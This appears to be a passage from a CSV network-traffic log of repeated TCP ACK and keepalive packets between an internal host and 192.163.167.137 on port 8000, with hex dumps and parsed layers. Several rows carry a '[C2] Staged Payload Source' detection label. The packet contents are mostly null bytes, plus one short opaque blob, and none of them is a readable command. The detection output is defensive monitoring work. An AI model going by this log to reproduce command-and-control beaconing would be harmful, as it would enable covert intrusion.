10.152.152.11:64089,192.163.167.137,10.152.152.11,8000,64089,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1345064463 Ack=519372812,bc2411360d0cbc24112907bb080045000034ec1c4000400643d7c0a3a7890a98980b1f40fa59502c0e0f1ef5000c8010003f0af700000101050a1ef5000b1ef5000c,\".$.6\n..$.)....E..4..@.@.C.....\n....@.YP,.........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 60444, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17367, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64089, \"\"seq\"\": 1345064463, \"\"ack\"\": 519372812, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (519372811, 519372812))]\"\"}}]\"\n2026-07-01 09:09:42.849399,577,TCP 10.152.152.11:64089 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64089,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=519372811 Ack=1345064463,bc24112907bbbc2411360d0c080045000029b0b3400080063f4b0a98980bc0a3a789fa591f401ef5000b502c0e0f50102014ee19000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45235, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16203, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64089, \"\"dport\"\": 8000, \"\"seq\"\": 519372811, \"\"ack\"\": 1345064463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60953, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:09:42.849422,578,TCP 192.163.167.137:8000 -> 10.152.152.11:64089,192.163.167.137,10.152.152.11,8000,64089,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1345064463 Ack=519372812,bc2411360d0cbc24112907bb080045000034ec1d4000400643d6c0a3a7890a98980b1f40fa59502c0e0f1ef5000c8010003f0af700000101050a1ef5000b1ef5000c,\".$.6\n..$.)....E..4..@.@.C.....\n....@.YP,.........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 60445, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17366, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64089, \"\"seq\"\": 1345064463, \"\"ack\"\": 519372812, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (519372811, 519372812))]\"\"}}]\"\n2026-07-01 09:09:43.865099,579,TCP 10.152.152.11:64089 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64089,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=519372811 Ack=1345064463,bc24112907bbbc2411360d0c080045000029b0b4400080063f4a0a98980bc0a3a789fa591f401ef5000b502c0e0f50102014ee19000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45236, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16202, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64089, \"\"dport\"\": 8000, \"\"seq\"\": 519372811, \"\"ack\"\": 1345064463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60953, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:09:43.865136,580,TCP 192.163.167.137:8000 -> 10.152.152.11:64089,192.163.167.137,10.152.152.11,8000,64089,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1345064463 Ack=519372812,bc2411360d0cbc24112907bb080045000034ec1e4000400643d5c0a3a7890a98980b1f40fa59502c0e0f1ef5000c8010003f0af700000101050a1ef5000b1ef5000c,\".$.6\n..$.)....E..4..@.@.C.....\n....@.YP,.........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 60446, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17365, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64089, \"\"seq\"\": 1345064463, \"\"ack\"\": 519372812, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (519372811, 519372812))]\"\"}}]\"\n2026-07-01 09:09:44.880792,581,TCP 10.152.152.11:64089 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64089,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=519372811 Ack=1345064463,bc24112907bbbc2411360d0c080045000029b0b5400080063f490a98980bc0a3a789fa591f401ef5000b502c0e0f50102014ee19000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45237, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16201, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64089, \"\"dport\"\": 8000, \"\"seq\"\": 519372811, \"\"ack\"\": 1345064463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60953, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:09:44.880824,582,TCP 192.163.167.137:8000 -> 10.152.152.11:64089,192.163.167.137,10.152.152.11,8000,64089,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1345064463 Ack=519372812,bc2411360d0cbc24112907bb080045000034ec1f4000400643d4c0a3a7890a98980b1f40fa59502c0e0f1ef5000c8010003f0af700000101050a1ef5000b1ef5000c,\".$.6\n..$.)....E..4..@.@.C.....\n....@.YP,.........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 60447, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17364, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64089, \"\"seq\"\": 1345064463, \"\"ack\"\": 519372812, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (519372811, 519372812))]\"\"}}]\"\n2026-07-01 09:09:45.896370,583,TCP 10.152.152.11:64089 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64089,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=519372811 Ack=1345064463,bc24112907bbbc2411360d0c080045000029b0b6400080063f480a98980bc0a3a789fa591f401ef5000b502c0e0f50102014ee19000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45238, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16200, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64089, \"\"dport\"\": 8000, \"\"seq\"\": 519372811, \"\"ack\"\": 1345064463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60953, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:09:45.896402,584,TCP 192.163.167.137:8000 -> 10.152.152.11:64089,192.163.167.137,10.152.152.11,8000,64089,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1345064463 Ack=519372812,bc2411360d0cbc24112907bb080045000034ec204000400643d3c0a3a7890a98980b1f40fa59502c0e0f1ef5000c8010003f0af700000101050a1ef5000b1ef5000c,\".$.6\n..$.)....E..4. @.@.C.....\n....@.YP,.........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 60448, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17363, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64089, \"\"seq\"\": 1345064463, \"\"ack\"\": 519372812, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (519372811, 519372812))]\"\"}}]\"\n2026-07-01 09:09:46.912013,585,TCP 10.152.152.11:64089 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64089,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=519372811 Ack=1345064463,bc24112907bbbc2411360d0c080045000029b0b7400080063f470a98980bc0a3a789fa591f401ef5000b502c0e0f50102014ee19000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45239, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16199, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64089, \"\"dport\"\": 8000, \"\"seq\"\": 519372811, \"\"ack\"\": 1345064463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60953, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:09:46.912042,586,TCP 192.163.167.137:8000 -> 10.152.152.11:64089,192.163.167.137,10.152.152.11,8000,64089,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1345064463 Ack=519372812,bc2411360d0cbc24112907bb080045000034ec214000400643d2c0a3a7890a98980b1f40fa59502c0e0f1ef5000c8010003f0af700000101050a1ef5000b1ef5000c,\".$.6\n..$.)....E..4.!@.@.C.....\n....@.YP,.........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 60449, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17362, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64089, \"\"seq\"\": 1345064463, \"\"ack\"\": 519372812, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (519372811, 519372812))]\"\"}}]\"\n2026-07-01 09:09:47.927656,587,TCP 10.152.152.11:64089 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64089,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=519372811 Ack=1345064463,bc24112907bbbc2411360d0c080045000029b0b8400080063f460a98980bc0a3a789fa591f401ef5000b502c0e0f50102014ee19000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45240, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16198, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64089, \"\"dport\"\": 8000, \"\"seq\"\": 519372811, \"\"ack\"\": 1345064463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60953, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:09:47.927682,588,TCP 192.163.167.137:8000 -> 10.152.152.11:64089,192.163.167.137,10.152.152.11,8000,64089,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1345064463 Ack=519372812,bc2411360d0cbc24112907bb080045000034ec224000400643d1c0a3a7890a98980b1f40fa59502c0e0f1ef5000c8010003f0af700000101050a1ef5000b1ef5000c,\".$.6\n..$.)....E..4.\"\"@.@.C.....\n....@.YP,.........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 60450, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17361, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64089, \"\"seq\"\": 1345064463, \"\"ack\"\": 519372812, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (519372811, 519372812))]\"\"}}]\"\n2026-07-01 09:09:48.804302,589,TCP 10.152.152.11:64089 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64089,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=519372812 Ack=1345064463,bc24112907bbbc2411360d0c08004500003db0b9400080063f310a98980bc0a3a789fa591f401ef5000c502c0e0f50182014885b00001100c0ff1100000001000000789ceb0300008f008f,............x........,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 61, \"\"id\"\": 45241, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16177, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64089, \"\"dport\"\": 8000, \"\"seq\"\": 519372812, \"\"ack\"\": 1345064463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 34907, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"1100c0ff1100000001000000789ceb0300008f008f\"\"}}]\"\n2026-07-01 09:09:48.804340,590,TCP 192.163.167.137:8000 -> 10.152.152.11:64089,192.163.167.137,10.152.152.11,8000,64089,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1345064463 Ack=519372833,bc2411360d0cbc24112907bb080045000028ec234000400643dcc0a3a7890a98980b1f40fa59502c0e0f1ef500215010003f0aeb0000,\".$.6\n..$.)....E..(.#@.@.C.....\n....@.YP,.....!P..?\n...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 60451, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17372, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64089, \"\"seq\"\": 1345064463, \"\"ack\"\": 519372833, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2795, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:09:49.818255,591,TCP 10.152.152.11:64089 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64089,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=519372832 Ack=1345064463,bc24112907bbbc2411360d0c080045000029b0ba400080063f440a98980bc0a3a789fa591f401ef50020502c0e0f50102014ee04000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45242, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16196, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64089, \"\"dport\"\": 8000, \"\"seq\"\": 519372832, \"\"ack\"\": 1345064463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60932, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:09:49.818263,592,TCP 192.163.167.137:8000 -> 10.152.152.11:64089,192.163.167.137,10.152.152.11,8000,64089,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1345064463 Ack=519372833,bc2411360d0cbc24112907bb080045000034ec244000400643cfc0a3a7890a98980b1f40fa59502c0e0f1ef500218010003f0af700000101050a1ef500201ef50021,\".$.6\n..$.)....E..4.$@.@.C.....\n....@.YP,.....!...?\n......\n... ...!\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 60452, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17359, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64089, \"\"seq\"\": 1345064463, \"\"ack\"\": 519372833, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (519372832, 